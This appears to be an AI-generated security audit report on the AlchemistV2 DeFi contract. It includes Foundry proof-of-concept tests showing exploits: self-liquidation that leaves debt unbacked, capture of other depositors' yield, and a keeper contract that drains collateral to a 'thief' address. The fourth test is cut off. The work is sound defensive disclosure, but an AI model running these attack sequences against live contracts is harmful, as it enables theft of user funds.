# Audit report

> Audit the AlchemistV2 contract, focusing on the liquidation, repay and collateral unwrap flows, and on whether account collateralization is enforced correctly at every step. Do not deploy or modify the code.

| | |
|---|---|
| Repository | https://github.com/alchemix-finance/v2-foundry.git |
| Commit | `c6857a4ee09f35f1c4baf537f1b8447b611a4ae4` |
| Job | `28d84a1c-6782-4fcf-8a96-2fcb8a745abf` |
| Judged | 2026-11-26 18:15 UTC |
| Findings | 2 high · 2 medium · 7 low |

Four agents audited the code as it is at `c6857a4`, each in one area (math, permissions, economics, control flow),
and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the repository was changed or deployed.

## Findings

### 1. High: liquidate() never validates the account afterwards: a lossy unwrap burns collateral at price() but credits only what was received, leaving the account below minimumCollateralization or insolvent

`src/AlchemistV2.sol:885`

```
_updateDebt(msg.sender, -SafeCast.toInt256(credit));
```

Merged from four specialist reports (economics d95add46, permissions 0dccb6ce, math 68944fa6, flow 0f269f9a); they describe one defect. liquidate() (lines 819-900) sizes the liquidation from adapter.price() (maximumShares = shares worth the caller's whole debt), burns those shares and removes their full quoted value from the account's collateral (_burnShares, _sync at 884-886), but reduces the debt only by `credit`, the amount adapter.unwrap() actually returned (lines 858, 879). The only bound on that amount is the caller's own minimumAmountOut, and 0 is accepted. _checkLoss (line 834) runs before the unwrap and only compares price() with expectedValue. Unlike _withdraw (line 1205), _mint (line 1235) and transferDebtV1 (line 547), liquidate never calls _validate(msg.sender). So whenever the unwrap realises less than price(), collateral falls faster than debt, with no revert. The adapters in this tree unwrap through AMMs with no minimum of their own: src/adapters/lido/WstETHAdapterV1.sol:149 passes 0 as min_dy to the Curve exchange ('Slippage is handled upstream') and src/adapters/rocket/RETHAdapterV1.sol:115 sets amountOutMinimum: 0. The amount received therefore depends on pool state that the account owner can move around their own liquidate() call (a bundle, or one transaction from a whitelisted contract or a code-bearing origin, see the tx.origin finding). The liquidation limiter does not bound this, because it meters the amount received (line 868), which is small exactly when the slippage is large. Impact: an account owner at the minimum ratio can push the collateral value out through the unwrap venue, recover it there, and keep the debt tokens minted against it; the shortfall is unbacked debt carried by the protocol. An honest user with a loose minimumAmountOut is left in a state every other entry point forbids (their next withdraw of 1 wei reverts). Severity is high because it breaks the collateralization invariant on the one path the audit was asked to check, with the shipped adapters, and ends in bad debt; the cost to the caller is AMM fees and the capital to move the pool. Fix: check the account after the state update, i.e. after _burnShares/_updateDebt/_sync. A plain `_validate(msg.sender);` there makes the attached test pass (run on a patched copy). It would also stop an account that is already below the minimum (for example after setMinimumCollateralization is raised) from de-leveraging at par, so the requester may prefer 'valid, or collateralization not lower than before the call'; that variant was not run.

**Reproduction**

Run by the judge with forge test on the attached file (self-contained mocks; adapter.price() fixed at 1e18, unwrap pays amount*(10000-slippageBps)/10000). State: minimumCollateralization 2e18, 18-decimal tokens; user deposits 200e18 yield tokens and mints 100e18 (ratio exactly 2.0). adapter.setSlippage(9900). Input: user calls liquidate(yieldToken, 100e18, 0). Expected: revert Undercollateralized, or a ratio >= 2e18 afterwards. Actual: success; debt 99e18, totalValue 100e18, ratio 1010101010101010101. A second identical call leaves debt 98.01e18 against totalValue 1e18: 199e18 of collateral left for 1.99e18 of repayment. Both tests fail on this code and pass with `_validate(msg.sender);` added after line 886. The permissions specialist's proof (deposit 100e18, mint 50e18, 90% slippage, liquidate 50e18 -> debt 45e18, value 50e18, ratio 1.111e18) was also run and fails the same way.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import {AlchemistV2} from "src/AlchemistV2.sol";
import {IAlchemistV2AdminActions} from "src/interfaces/alchemist/IAlchemistV2AdminActions.sol";

contract PocToken {
    string public name;
    string public symbol = "POC";
    uint8 public decimals;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor(string memory n, uint8 d) { name = n; decimals = d; }

    function mint(address to, uint256 amount) external { balanceOf[to] += amount; totalSupply += amount; }
    function burn(uint256 amount) external { balanceOf[msg.sender] -= amount; totalSupply -= amount; }
    function burnFrom(address owner, uint256 amount) external {
        if (allowance[owner][msg.sender] != type(uint256).max) allowance[owner][msg.sender] -= amount;
        balanceOf[owner] -= amount; totalSupply -= amount;
    }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transfer(address to, uint256 a) external returns (bool) {
        balanceOf[msg.sender] -= a; balanceOf[to] += a; return true;
    }
    function transferFrom(address from, address to, uint256 a) external returns (bool) {
        if (allowance[from][msg.sender] != type(uint256).max) allowance[from][msg.sender] -= a;
        balanceOf[from] -= a; balanceOf[to] += a; return true;
    }
}

/// Adapter whose unwrap goes through a market (as WstETHAdapterV1 / RETHAdapterV1 do with
/// Curve / Uniswap and a minimum of 0): `price()` is the fair price, the amount actually
/// received is lower by `slippageBps`, the difference staying with the market (here: the adapter).
contract PocSlippageAdapter {
    string public constant version = "poc";
    address public immutable token;
    address public immutable underlyingToken;
    uint256 public slippageBps;

    constructor(address t, address u) { token = t; underlyingToken = u; }

    function setSlippage(uint256 bps) external { slippageBps = bps; }
    function price() external pure returns (uint256) { return 1e18; }

    function wrap(uint256 amount, address recipient) external returns (uint256) {
        PocToken(underlyingToken).transferFrom(msg.sender, address(this), amount);
        PocToken(token).mint(recipient, amount);
        return amount;
    }

    function unwrap(uint256 amount, address recipient) external returns (uint256 out) {
        PocToken(token).transferFrom(msg.sender, address(this), amount);
        PocToken(token).burn(amount);
        out = amount * (10_000 - slippageBps) / 10_000;
        PocToken(underlyingToken).transfer(recipient, out);
    }
}

contract PocTransmuter {
    function onERC20Received(address, uint256) external {}
}

contract PocProxy {
    address immutable impl;
    constructor(address i) { impl = i; }
    fallback() external payable {
        address i = impl;
        assembly {
            calldatacopy(0, 0, calldatasize())
            let ok := delegatecall(gas(), i, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch ok case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) }
        }
    }
}

contract LiquidateNoValidateTest is Test {
    AlchemistV2 alchemist;
    PocToken debtToken;
    PocToken underlying;
    PocToken yieldToken;
    PocSlippageAdapter adapter;
    PocTransmuter transmuter;

    address user = address(0xA11CE);

    function setUp() public {
        debtToken  = new PocToken("alToken", 18);
        underlying = new PocToken("underlying", 18);
        yieldToken = new PocToken("yield", 18);
        adapter    = new PocSlippageAdapter(address(yieldToken), address(underlying));
        transmuter = new PocTransmuter();

        alchemist = AlchemistV2(address(new PocProxy(address(new AlchemistV2()))));
        alchemist.initialize(IAlchemistV2AdminActions.InitializationParams({
            admin: address(this),
            debtToken: address(debtToken),
            transmuter: address(transmuter),
            minimumCollateralization: 2e18,
            protocolFee: 1000,
            protocolFeeReceiver: address(0xFEE),
            mintingLimitMinimum: 1,
            mintingLimitMaximum: 1_000_000e18,
            mintingLimitBlocks: 300,
            whitelist: address(0)
        }));

        alchemist.addUnderlyingToken(address(underlying), IAlchemistV2AdminActions.UnderlyingTokenConfig({
            repayLimitMinimum: 1,
            repayLimitMaximum: 1_000_000e18,
            repayLimitBlocks: 300,
            liquidationLimitMinimum: 1,
            liquidationLimitMaximum: 1_000_000e18,
            liquidationLimitBlocks: 300
        }));
        alchemist.setUnderlyingTokenEnabled(address(underlying), true);

        alchemist.addYieldToken(address(yieldToken), IAlchemistV2AdminActions.YieldTokenConfig({
            adapter: address(adapter),
            maximumLoss: 1,
            maximumExpectedValue: 1_000_000e18,
            creditUnlockBlocks: 1
        }));
        alchemist.setYieldTokenEnabled(address(yieldToken), true);

        // liquidity the adapter pays unwraps from
        underlying.mint(address(adapter), 1_000_000e18);

        // user: 200 collateral, 100 debt => exactly at the 200% minimum
        yieldToken.mint(user, 200e18);
        vm.startPrank(user, user);
        yieldToken.approve(address(alchemist), type(uint256).max);
        alchemist.deposit(address(yieldToken), 200e18, user);
        alchemist.mint(100e18, user);
        vm.stopPrank();
    }

    function _collateralization() internal view returns (uint256 debt, uint256 value, uint256 ratio) {
        (int256 d, ) = alchemist.accounts(user);
        if (d <= 0) return (0, alchemist.totalValue(user), type(uint256).max);
        debt  = uint256(d);
        value = alchemist.totalValue(user);
        ratio = value * 1e18 / debt;
    }

    /// One self-liquidation through a market that returns 1% of fair value.
    /// 100 shares (worth 100) are burned, only 1 of debt is repaid:
    /// collateral 200 -> 100, debt 100 -> 99, ratio 2.0 -> ~1.01 with minimumCollateralization = 2.0.
    function test_liquidate_leaves_account_below_minimum_collateralization() public {
        adapter.setSlippage(9_900);

        vm.prank(user, user);
        try alchemist.liquidate(address(yieldToken), 100e18, 0) {} catch {}

        (uint256 debt, uint256 value, uint256 ratio) = _collateralization();
        emit log_named_uint("debt after", debt);
        emit log_named_uint("collateral value after", value);
        emit log_named_uint("collateralization after", ratio);
        assertGe(ratio, alchemist.minimumCollateralization(), "account below minimum collateralization after liquidate");
    }

    /// Repeating it strips the account: all 200 of collateral leave the system for 1.99 of repayment,
    /// while the 100 debt tokens minted against it stay in circulation, unbacked.
    function test_repeated_liquidate_leaves_unbacked_debt() public {
        adapter.setSlippage(9_900);

        vm.startPrank(user, user);
        try alchemist.liquidate(address(yieldToken), 100e18, 0) {} catch {}
        try alchemist.liquidate(address(yieldToken), 100e18, 0) {} catch {}
        vm.stopPrank();

        (uint256 debt, uint256 value, ) = _collateralization();
        emit log_named_uint("debt after", debt);
        emit log_named_uint("collateral value after", value);
        assertGe(value, debt * alchemist.minimumCollateralization() / 1e18, "debt no longer backed by collateral");
    }
}
```

### 2. High: First deposit into a yield token skips credit distribution, so a new depositor is paid credit that unlocked before they held any shares

`src/AlchemistV2.sol:1151`

```
_distributeUnlockedCreditDeposited(recipient);
```

Merged from two specialist reports (economics 8709f88b, flow 0a016e29). _deposit() brings accrued weight up to date with _distributeUnlockedCreditDeposited(recipient), which loops only over tokens the recipient ALREADY holds. When the recipient holds none of `yieldToken` (a new account, or one that withdrew in full and was removed from depositedTokens by _burnShares, line 1541), _distributeUnlockedCredit(yieldToken) is not called. _poke(recipient, yieldToken) then records the stale accruedWeight as the starting point and _issueSharesForAmount raises totalShares. The credit that unlocked since the last distribution is still undistributed, and the next distribution (any poke) divides it by the enlarged totalShares (line 1327), so the newcomer receives X/(X+S) of it (X their deposit, S the existing shares). Negative debt can be minted as debt tokens at once (_validate returns early for debt <= 0) and the deposit withdrawn in the same block; deposit, poke, mint and withdraw can be batched through the inherited multicall(). A full withdrawal removes the token from depositedTokens, so the same account is a first-time depositor again and can repeat this for each idle stretch. Impact: harvested yield is taken from existing depositors, without permission and for gas plus one transaction's worth of capital. The amount per run is the credit that unlocked since any holder of the token last interacted, so it is bounded by maximumExpectedValue (cap on X) and is smaller on busy tokens; on a quiet token a large deposit takes most of each harvest. Fix: in _deposit(), distribute the unlocked credit of `yieldToken` itself before _poke(recipient, yieldToken) and before shares are issued, guarded for totalShares == 0 (see the division-by-zero finding): `if (yieldTokenParams.totalShares > 0) { _distributeUnlockedCredit(yieldToken); }`. With that line the attached test passes (run on a patched copy); accounts that already hold the token are unaffected because the second call finds nothing unlocked.

**Reproduction**

Run by the judge with forge test on the attached file. State: minimumCollateralization 2e18, protocolFee 1000 bps, creditUnlockBlocks 10, 18-decimal tokens. Alice deposits 1000e18 yield tokens at price 1e18 and is the only holder. Price is set to 1.1e18 and the keeper calls harvest(yieldToken, 0): 90e18 credit starts unlocking. Roll 5 blocks with no interaction: accounts(alice).debt reads -45e18. Input, one block: Bob (no position) deposit(yieldToken, 9000e18, bob); poke(bob); mint(40871559633027522299, bob); withdraw(yieldToken, allShares, bob). Expected: Bob's debt after deposit and poke is 0 and Alice still has -45e18. Actual: Bob's debt is -40871559633027522299, he mints that many debt tokens and gets his collateral back; accounts(alice).debt = -4128440366972477000. The test fails on its two final assertions on this code and passes with the fix above.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import {AlchemistV2} from "src/AlchemistV2.sol";
import {IAlchemistV2AdminActions} from "src/interfaces/alchemist/IAlchemistV2AdminActions.sol";

contract PToken {
    string public name = "P";
    string public symbol = "P";
    uint8 public decimals;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    constructor(uint8 d) { decimals = d; }
    function mint(address to, uint256 a) external { balanceOf[to] += a; totalSupply += a; }
    function burnFrom(address o, uint256 a) external returns (bool) { balanceOf[o] -= a; totalSupply -= a; return true; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }
    function transferFrom(address f, address to, uint256 a) external returns (bool) {
        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;
        balanceOf[f] -= a; balanceOf[to] += a; return true;
    }
}

/// Yield-token adapter with a settable price; unwrap pays exactly amount * price.
contract PAdapter {
    string public version = "1";
    PToken public y; PToken public u;
    uint256 public price;
    constructor(PToken _y, PToken _u, uint256 p) { y = _y; u = _u; price = p; }
    function token() external view returns (address) { return address(y); }
    function underlyingToken() external view returns (address) { return address(u); }
    function setPrice(uint256 p) external { price = p; }
    function wrap(uint256 amount, address recipient) external returns (uint256 out) {
        u.burnFrom(msg.sender, amount);
        out = amount * 10**y.decimals() / price;
        y.mint(recipient, out);
    }
    function unwrap(uint256 amount, address recipient) external returns (uint256 out) {
        y.transferFrom(msg.sender, address(this), amount);
        out = amount * price / 10**y.decimals();
        u.mint(recipient, out);
    }
}

contract PTransmuter { function onERC20Received(address, uint256) external {} }
contract PWhitelist { function isWhitelisted(address) external pure returns (bool) { return true; } }

contract PProxy {
    address immutable impl;
    constructor(address i) { impl = i; }
    fallback() external payable {
        address i = impl;
        assembly {
            calldatacopy(0, 0, calldatasize())
            let r := delegatecall(gas(), i, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch r case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) }
        }
    }
}

abstract contract PBase is Test {
    AlchemistV2 alch; PToken debt; PToken u; PToken y; PAdapter ad;
    address alice = address(0xA11CE); address bob = address(0xB0B);

    // minimumCollateralization 200%, protocol fee 10%, maximumLoss 100 bps, credit unlocks over 10 blocks.
    function _deploy(uint8 uDec, uint256 price) internal {
        debt = new PToken(18); u = new PToken(uDec); y = new PToken(18);
        ad = new PAdapter(y, u, price);
        alch = AlchemistV2(address(new PProxy(address(new AlchemistV2()))));
        alch.initialize(IAlchemistV2AdminActions.InitializationParams({
            admin: address(this), debtToken: address(debt), transmuter: address(new PTransmuter()),
            minimumCollateralization: 2e18, protocolFee: 1000, protocolFeeReceiver: address(0xFEE),
            mintingLimitMinimum: 1, mintingLimitMaximum: 1e40, mintingLimitBlocks: 300, whitelist: address(new PWhitelist())
        }));
        alch.addUnderlyingToken(address(u), IAlchemistV2AdminActions.UnderlyingTokenConfig({
            repayLimitMinimum: 1, repayLimitMaximum: 1e40, repayLimitBlocks: 300,
            liquidationLimitMinimum: 1, liquidationLimitMaximum: 1e40, liquidationLimitBlocks: 300
        }));
        alch.setUnderlyingTokenEnabled(address(u), true);
        alch.addYieldToken(address(y), IAlchemistV2AdminActions.YieldTokenConfig({
            adapter: address(ad), maximumLoss: 100, maximumExpectedValue: 1e40, creditUnlockBlocks: 10
        }));
        alch.setYieldTokenEnabled(address(y), true);
        alch.setKeeper(address(this), true);
    }

    function _dep(address who, uint256 amt) internal returns (uint256 s) {
        y.mint(who, amt);
        vm.startPrank(who, who);
        y.approve(address(alch), type(uint256).max);
        s = alch.deposit(address(y), amt, who);
        vm.stopPrank();
    }
}

contract P1CreditSnipeTest is PBase {
    /// A depositor who enters a yield token for the first time must not receive credit that
    /// unlocked for the existing holders before the deposit.
    function test_freshDepositorDoesNotCaptureAlreadyUnlockedCredit() public {
        _deploy(18, 1e18);
        _dep(alice, 1000e18);                 // Alice is the only holder
        ad.setPrice(1.1e18);                  // 10% yield
        alch.harvest(address(y), 0);          // 100 underlying harvested, 90 credit, unlocks over 10 blocks
        vm.roll(block.number + 5);            // 45 credit is unlocked, all of it earned by Alice

        (int256 aliceBefore,) = alch.accounts(alice);
        assertEq(aliceBefore, -45e18, "setup: Alice is owed the 45 unlocked credit");

        uint256 bobShares = _dep(bob, 9000e18); // Bob deposits 9x the pool in the same block
        vm.startPrank(bob, bob);
        alch.poke(bob);
        (int256 bobDebt,) = alch.accounts(bob);
        (int256 aliceAfter,) = alch.accounts(alice);
        // Bob can now mint his "credit" as debt tokens and leave with all of his collateral.
        if (bobDebt < 0) alch.mint(uint256(-bobDebt), bob);
        uint256 back = alch.withdraw(address(y), bobShares, bob);
        vm.stopPrank();
        assertGe(back, 9000e18 - 1, "Bob gets his collateral back");

        assertEq(debt.balanceOf(bob), 0, "Bob minted debt tokens out of credit earned before he deposited");
        assertEq(aliceAfter, aliceBefore, "Alice's unlocked credit was diluted by Bob's deposit");
    }
}
```

### 3. Medium: sweepRewardTokens delegatecalls the calling keeper, so keeper code runs as the Alchemist and the supported-token sweep guard is void

`src/AlchemistV2.sol:528`

```
msg.sender.delegatecall(abi.encodeWithSignature("claim(address)", yieldToken));
```

Merged from two specialist reports (permissions 71d23836, flow 7c9465e5). sweepRewardTokens() (lines 521-531) is gated by _onlyKeeper and rejects a `rewardToken` that is a supported yield or underlying token, then executes `msg.sender.delegatecall(claim(address))`. A delegatecall runs the keeper's code with the Alchemist's storage and as the holder of the Alchemist's tokens. That code can transfer every yield token held as collateral, write account debts and balances, admin, transmuter or the mutex slot. The guard two lines above therefore protects nothing, and the role that is otherwise limited to harvest() and reward sweeping is equivalent to full control of user funds. The success flag of the delegatecall is also discarded, so a failing claim is skipped silently. This needs the keeper role, which the admin grants with setKeeper, and the tree's own src/utils/RewardCollectorVesper.sol:53 implements claim(address) for this call, so running keeper code in the Alchemist's context is the intended mechanism. It is rated medium rather than high for that reason: it is a privileged-role trust assumption, but one far wider than the function's guard and the role's other powers suggest, and any bug or key compromise in a keeper contract becomes a loss of all collateral. Fix: do the claim through a plain external call to a fixed, admin-set collector (or let the adapter claim), keep the token guard, and check the call's result. If keeper code must run in the Alchemist's context, state at admin level that a keeper has full custody. With the delegatecall line removed the attached test passes (run on a patched copy).

**Reproduction**

Run by the judge with forge test on the attached file (self-contained; the specialist's proof was also run and fails the same way). State: Alice has deposited 100e18 yield tokens. Admin calls setKeeper(K, true), where K.claim(address y) does `y.transfer(0xBAD, y.balanceOf(address(this)))`. Input: K calls alchemist.sweepRewardTokens(someUnsupportedToken, yieldToken). Expected: only the unsupported reward token can leave; the Alchemist still holds 100e18 yield tokens. Actual: the call succeeds, yieldToken.balanceOf(alchemist) == 0 and 0xBAD holds 100e18, while Alice's shares are unchanged.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import {AlchemistV2} from "src/AlchemistV2.sol";
import {IAlchemistV2AdminActions} from "src/interfaces/alchemist/IAlchemistV2AdminActions.sol";

contract JToken {
    string public name = "J";
    string public symbol = "J";
    uint8 public decimals;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    constructor(uint8 d) { decimals = d; }
    function mint(address to, uint256 a) external { balanceOf[to] += a; totalSupply += a; }
    function burnFrom(address o, uint256 a) external returns (bool) { balanceOf[o] -= a; totalSupply -= a; return true; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }
    function transferFrom(address f, address to, uint256 a) external returns (bool) {
        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;
        balanceOf[f] -= a; balanceOf[to] += a; return true;
    }
}

contract JAdapter {
    string public version = "1";
    JToken public y; JToken public u;
    uint256 public price;
    constructor(JToken _y, JToken _u, uint256 p) { y = _y; u = _u; price = p; }
    function token() external view returns (address) { return address(y); }
    function underlyingToken() external view returns (address) { return address(u); }
    function setPrice(uint256 p) external { price = p; }
    function wrap(uint256 amount, address recipient) external returns (uint256 out) {
        u.burnFrom(msg.sender, amount);
        out = amount * 10**y.decimals() / price;
        y.mint(recipient, out);
    }
    function unwrap(uint256 amount, address recipient) external returns (uint256 out) {
        y.transferFrom(msg.sender, address(this), amount);
        out = amount * price / 10**y.decimals();
        u.mint(recipient, out);
    }
}

contract JTransmuter { function onERC20Received(address, uint256) external {} }
contract JWhitelist {
    bool public open = true;
    function set(bool o) external { open = o; }
    function isWhitelisted(address) external view returns (bool) { return open; }
}

contract JProxy {
    address immutable impl;
    constructor(address i) { impl = i; }
    fallback() external payable {
        address i = impl;
        assembly {
            calldatacopy(0, 0, calldatasize())
            let r := delegatecall(gas(), i, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch r case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) }
        }
    }
}

contract JKeeper {
    address immutable thief;
    constructor(address t) { thief = t; }
    /// Runs in the Alchemist's context when sweepRewardTokens delegatecalls msg.sender.
    function claim(address yToken) external {
        JToken(yToken).transfer(thief, JToken(yToken).balanceOf(address(this)));
    }
    function sweep(AlchemistV2 a, address reward, address yToken) external { a.sweepRewardTokens(reward, yToken); }
}

contract KeeperDelegatecallProof is Test {
    AlchemistV2 alch; JToken debt; JToken u; JToken y; JAdapter ad;
    address alice = address(0xA11CE); address thief = address(0xBAD);

    function setUp() public {
        debt = new JToken(18); u = new JToken(18); y = new JToken(18);
        ad = new JAdapter(y, u, 1e18);
        alch = AlchemistV2(address(new JProxy(address(new AlchemistV2()))));
        alch.initialize(IAlchemistV2AdminActions.InitializationParams({
            admin: address(this), debtToken: address(debt), transmuter: address(new JTransmuter()),
            minimumCollateralization: 2e18, protocolFee: 1000, protocolFeeReceiver: address(0xFEE),
            mintingLimitMinimum: 1, mintingLimitMaximum: 1e40, mintingLimitBlocks: 300, whitelist: address(new JWhitelist())
        }));
        alch.addUnderlyingToken(address(u), IAlchemistV2AdminActions.UnderlyingTokenConfig({
            repayLimitMinimum: 1, repayLimitMaximum: 1e40, repayLimitBlocks: 300,
            liquidationLimitMinimum: 1, liquidationLimitMaximum: 1e40, liquidationLimitBlocks: 300
        }));
        alch.setUnderlyingTokenEnabled(address(u), true);
        alch.addYieldToken(address(y), IAlchemistV2AdminActions.YieldTokenConfig({
            adapter: address(ad), maximumLoss: 100, maximumExpectedValue: 1e40, creditUnlockBlocks: 10
        }));
        alch.setYieldTokenEnabled(address(y), true);
        y.mint(alice, 100e18);
        vm.startPrank(alice, alice);
        y.approve(address(alch), type(uint256).max);
        alch.deposit(address(y), 100e18, alice);
        vm.stopPrank();
    }

    /// A keeper may sweep reward tokens only; supported yield tokens (user collateral) must stay.
    function test_keeperSweepCannotMoveCollateral() public {
        JKeeper keeper = new JKeeper(thief);
        alch.setKeeper(address(keeper), true);
        JToken reward = new JToken(18); // any unsupported token passes the guard
        try keeper.sweep(alch, address(reward), address(y)) {} catch {}
        assertEq(y.balanceOf(thief), 0, "keeper code moved user collateral out of the Alchemist");
        assertEq(y.balanceOf(address(alch)), 100e18, "Alchemist no longer holds the deposited collateral");
    }
}
```

### 4. Medium: _sync removes exiting tokens from expectedValue at their current value, so exits during a tolerated loss raise the measured loss and block liquidate() and withdrawUnderlying() for the holders who stay

`src/AlchemistV2.sol:1260`

```
uint256 updatedExpectedValue   = operation(yieldTokenParams.expectedValue, amountUnderlyingTokens);
```

Merged from three specialist reports (economics f1e3a677, math db5d074f, flow 9b42f44b). On the subtract path (_withdraw line 1202, liquidate line 886) _sync lowers activeBalance by `amount` but lowers expectedValue only by amount * price(), the tokens' CURRENT value. While the yield token trades below its expected value the absolute shortfall expectedValue - currentValue stays in the pool in full while the pool shrinks, so _loss() = shortfall / expectedValue rises with every exit although the price has not moved again. withdraw() and withdrawFrom() have no _checkLoss, so a holder can always leave this way. Once the measured loss passes maximumLoss, _checkLoss reverts liquidate(), withdrawUnderlying(), withdrawUnderlyingFrom(), deposit() and depositUnderlying() for everyone still in the pool. Impact: a loss the configuration accepts becomes a freeze of the liquidation and unwrap paths for the remaining accounts, at the moment holders are leaving. They can still withdraw() the yield token itself, burn() and repay(), and the admin can clear it with snap(), so no funds are lost; indebted users lose self-liquidation until then. One large holder can trigger it for gas alone: with the loss at fraction q of the limit, an outflow of (1-q) of the pool is enough. Fix: on the subtract path reduce expectedValue in proportion to the active balance removed (expectedValue * amount / activeBalance) instead of by amount * price(), so the loss per remaining token is unchanged by exits. With no loss both formulas agree. This changes who keeps a leaver's share of the shortfall, which is the requester's decision. The judge ran that change on a patched copy: the attached test passes, and it also removes the 1 wei underflow reported separately.

**Reproduction**

Run by the judge with forge test on the attached file. State: maximumLoss 100 bps, 18-decimal tokens, price 1e18. Alice deposits 600e18, Bob deposits 400e18 and mints 100e18. Price is set to 0.995e18 (50 bps loss, inside the limit); at this point Bob's liquidate(yieldToken, 10e18, 0) succeeds (checked on a snapshot). Input: Alice withdraw(yieldToken, 600e18, alice); then Bob liquidate(yieldToken, 10e18, 0). Expected: Bob's call still succeeds, the token has still lost 50 bps. Actual: expectedValue = 1000e18 - 597e18 = 403e18 against a current value of 398e18, and Bob's call reverts LossExceeded(yieldToken, 124, 100); withdrawUnderlying(yieldToken, 1e18, bob, 0) reverts the same way. After the admin calls snap(yieldToken) Bob's liquidation succeeds again.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import {AlchemistV2} from "src/AlchemistV2.sol";
import {IAlchemistV2AdminActions} from "src/interfaces/alchemist/IAlchemistV2AdminActions.sol";

contract JToken {
    string public name = "J";
    string public symbol = "J";
    uint8 public decimals;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    constructor(uint8 d) { decimals = d; }
    function mint(address to, uint256 a) external { balanceOf[to] += a; totalSupply += a; }
    function burnFrom(address o, uint256 a) external returns (bool) { balanceOf[o] -= a; totalSupply -= a; return true; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }
    function transferFrom(address f, address to, uint256 a) external returns (bool) {
        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;
        balanceOf[f] -= a; balanceOf[to] += a; return true;
    }
}

contract JAdapter {
    string public version = "1";
    JToken public y; JToken public u;
    uint256 public price;
    constructor(JToken _y, JToken _u, uint256 p) { y = _y; u = _u; price = p; }
    function token() external view returns (address) { return address(y); }
    function underlyingToken() external view returns (address) { return address(u); }
    function setPrice(uint256 p) external { price = p; }
    function wrap(uint256 amount, address recipient) external returns (uint256 out) {
        u.burnFrom(msg.sender, amount);
        out = amount * 10**y.decimals() / price;
        y.mint(recipient, out);
    }
    function unwrap(uint256 amount, address recipient) external returns (uint256 out) {
        y.transferFrom(msg.sender, address(this), amount);
        out = amount * price / 10**y.decimals();
        u.mint(recipient, out);
    }
}

contract JTransmuter { function onERC20Received(address, uint256) external {} }
contract JWhitelist {
    bool public open = true;
    function set(bool o) external { open = o; }
    function isWhitelisted(address) external view returns (bool) { return open; }
}

contract JProxy {
    address immutable impl;
    constructor(address i) { impl = i; }
    fallback() external payable {
        address i = impl;
        assembly {
            calldatacopy(0, 0, calldatasize())
            let r := delegatecall(gas(), i, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch r case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) }
        }
    }
}

contract LossConcentrationProof is Test {
    AlchemistV2 alch; JToken debt; JToken u; JToken y; JAdapter ad;
    address alice = address(0xA11CE); address bob = address(0xB0B);

    function setUp() public {
        debt = new JToken(18); u = new JToken(18); y = new JToken(18);
        ad = new JAdapter(y, u, 1e18);
        alch = AlchemistV2(address(new JProxy(address(new AlchemistV2()))));
        alch.initialize(IAlchemistV2AdminActions.InitializationParams({
            admin: address(this), debtToken: address(debt), transmuter: address(new JTransmuter()),
            minimumCollateralization: 2e18, protocolFee: 1000, protocolFeeReceiver: address(0xFEE),
            mintingLimitMinimum: 1, mintingLimitMaximum: 1e40, mintingLimitBlocks: 300, whitelist: address(new JWhitelist())
        }));
        alch.addUnderlyingToken(address(u), IAlchemistV2AdminActions.UnderlyingTokenConfig({
            repayLimitMinimum: 1, repayLimitMaximum: 1e40, repayLimitBlocks: 300,
            liquidationLimitMinimum: 1, liquidationLimitMaximum: 1e40, liquidationLimitBlocks: 300
        }));
        alch.setUnderlyingTokenEnabled(address(u), true);
        // maximumLoss = 100 bps
        alch.addYieldToken(address(y), IAlchemistV2AdminActions.YieldTokenConfig({
            adapter: address(ad), maximumLoss: 100, maximumExpectedValue: 1e40, creditUnlockBlocks: 10
        }));
        alch.setYieldTokenEnabled(address(y), true);
        _dep(alice, 600e18);
        _dep(bob, 400e18);
        vm.prank(bob, bob);
        alch.mint(100e18, bob);
    }

    function _dep(address who, uint256 amt) internal {
        y.mint(who, amt);
        vm.startPrank(who, who);
        y.approve(address(alch), type(uint256).max);
        alch.deposit(address(y), amt, who);
        vm.stopPrank();
    }

    /// A 50 bps loss is inside the 100 bps tolerance. Another holder leaving must not turn it into
    /// a measured loss above the tolerance for the holders who stay.
    function test_exitDuringToleratedLossDoesNotBlockRemainingHolders() public {
